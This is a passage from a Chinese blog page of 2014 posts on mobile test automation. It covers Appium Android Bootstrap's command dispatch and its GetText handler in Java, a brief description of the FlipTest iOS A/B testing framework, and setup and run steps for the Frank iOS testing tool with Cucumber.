Logger.debug("Got command action: " + command.action());
if (map.containsKey(command.action())) {
return map.get(command.action()).execute(command);
} else {
return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,
"Unknown command: " + command.action());
}
} catch (final JSONException e) {
Logger.error("Could not decode action/params of command");
return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,
"Could not decode action/params of command, please check format!");
}
}
  它首先叫上面的AndroidCommand解析器把json字串的action给解析出来
  然后通过刚提到的map把这个action对应的CommandHandler的实现类给实例化
  然后调用这个命令处理类的execute方法开始执行命令
  3. 命令处理示例
  我们这里就示例性的看下getText这个action对应的CommandHandler是怎么去通过AndroidElement控件进行设置文本的处理的:
public class GetText extends CommandHandler {
/*
* @param command The {@link AndroidCommand} used for this handler.
*
* @return {@link AndroidCommandResult}
*
* @throws JSONException
*
* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.
* bootstrap.AndroidCommand)
*/
@Override
public AndroidCommandResult execute(final AndroidCommand command)
throws JSONException {
if (command.isElementCommand()) {
// Only makes sense on an element
try {
final AndroidElement el = command.getElement();
return getSuccessResult(el.getText());
} catch (final UiObjectNotFoundException e) {
return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,
e.getMessage());
} catch (final Exception e) { // handle NullPointerException
return getErrorResult("Unknown error");
}
} else {
return getErrorResult("Unable to get text without an element.");
}
}
}
  关键代码就是里面通过AndroidCommand的getElement方法:
  解析传进来的AndroidCommand实例保存的pc端过来的json字串,找到’params‘项的子项’elementId'
  通过这个获得的id去控件哈希表(请查看《Appium Android Bootstrap源码分析之控件AndroidElement》)中找到目标AndroidElement控件对象
  然后调用获得的AndroidElement控件对象的getText方法:
  最终通过调用AndroidElement控件成员UiObject控件对象的getText方法取得控件文本信息
  4. 小结
  bootstrap接收到appium从pc端发送过来的json格式的键值对字串有多个项:
  cmd: 这是一个action还是一个shutdown
  action:如果是一个action的话,那么是什么action,比如click
  params:拥有其他的一些子项,比如指定操作控件在AndroidElementHash维护的控件哈希表的控件键值的'elementId'
  在收到这个json格式命令字串后:
  AndroidCommandExecutor会调用AndroidCommand去解析出对应的action
  然后把action去map到对应的真实命令处理方法CommandHandler的实现子类对象中
  然后调用对应的对象的execute方法来执行命令
相关文章:
Appium Android Bootstrap源码分析之简介
Appium Android Bootstrap之控件AndroidElement

posted @ 2014-12-23 00:25 顺其自然EVO 阅读(1611) | 评论 (0)编辑 收藏

Fliptest—iOS 的应用A/B测试框架

 FlipTest是专为iOS设计的移动应用A/B测试框架,通过它,开发者可以无需重新向App Store提交应用或重构代码,只需添加一行代码,即可直接在iOS应用上进行A/B测试。对移动应用做 A/B 测试是非常难的,而 FlipTest 可以帮你简化这个过程。
  对于想要追求UI极致的开发者而言,FlipTest绝对是最合适的测试框架。FlipTest会为应用选择最恰当的用户界面,还会基于外观、可用性等众多因素返还测试结果,从而帮助开发者彻底解决UI问题。

posted @ 2014-12-23 00:22 顺其自然EVO 阅读(1550) | 评论 (0)编辑 收藏

iOS功能测试工具 Frank

  Frank也是一款深受开发者喜爱的iOS应用测试框架,该框架可以模拟用户操作对应用程序进行黑盒测试,并使用Cucumber作为自然语言来编写测试用例。此外,Frank还会对应用测试操作进行记录,以帮助开发者进行测试回顾。
  一、基本介绍
  Frank是ios开发环境下一款实现自动测试的工具。
  Xcode环境下开发完成后,通过Frank实现结构化的测试用例,其底层语言为Ruby。作为一款开源的iOS测试工具,在国外已经有广泛的应用。但是国内相关资料却比较少。其最大的优点是允许我们用熟悉的自然语言实现实际的操作逻辑。
  一般而言,测试文件由一个.feature文件和一个.rb文件组成。.feature文件包含的是测试操作的自然语言描述部分,内部可以包含多个测试用例,以标签(@tagname)的形式唯一标识,每个用例的首行必须有Scenario: some description;.rb文件则是ruby实现逻辑,通过正则表达式匹配.feature文件中的每一句自然语言,然后执行相应的逻辑操作,最终实现自动测试的目的。
  二、安装
  1.       Terminal 输入sudo gem install frank-cucumber,下载并安装Frank
  2.       Terminal 进入工程所在路径,工程根目录
  3.       输入:frank-skeleton,会在工程根目录新建Frank文件夹
  4.       返回Xcode界面,右键Targets下的APP,选择复制,Duplicate only
  5.       双击APPname copy,更改副本名,例如 Appname Frankified
  6.       右击APP,Add Files to Appname……
  7.       勾选副本,其余取消选定。选择新建的Frank文件夹,Add.
  8.       选择APP,中间部分Build Phases选项卡,Link Binary With LibrariesàCFNetwork.framework,Add.
  9.       依旧中间部分,选择Build Settings选项卡,Other Linker Flags,双击,添加“-all_load”和“ObjC”
  10.   左上角,Scheme Selector,在RUN和STOP按钮的右边,选择Appname copy-IPHONE
  11.   浏览器中打开http://localhost:37265,可以在浏览器中看到植入Frank的应用
  我在添加了两个flag之后老是报错,尝试了N种方法之后索性全部删掉,结果就可以了,无语
  三、基本步骤
  1.       terminal 切换到Frank文件夹所在目录
  2.       frank launch, 打开simulator,开始运行(默认是用IPHONE simulator,要用IPAD simulator时,需要如下命令行,添加参数:frank launch --idiom ipad)
  3.       cucumber Frank/features/my_first.feature --tags @tagname (注意tags前面两个‘-’)PS:如果没有tag则自动运行文件中所有case

posted @ 2014-12-23 00:22 顺其自然EVO 阅读(1735) | 评论 (0)编辑 收藏

仅列出标题  下一页
<2017年3月>
2627281234
567891011
12131415161718
19202122232425
2627282930311
2345678

导航

统计

常用链接

留言簿(51)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜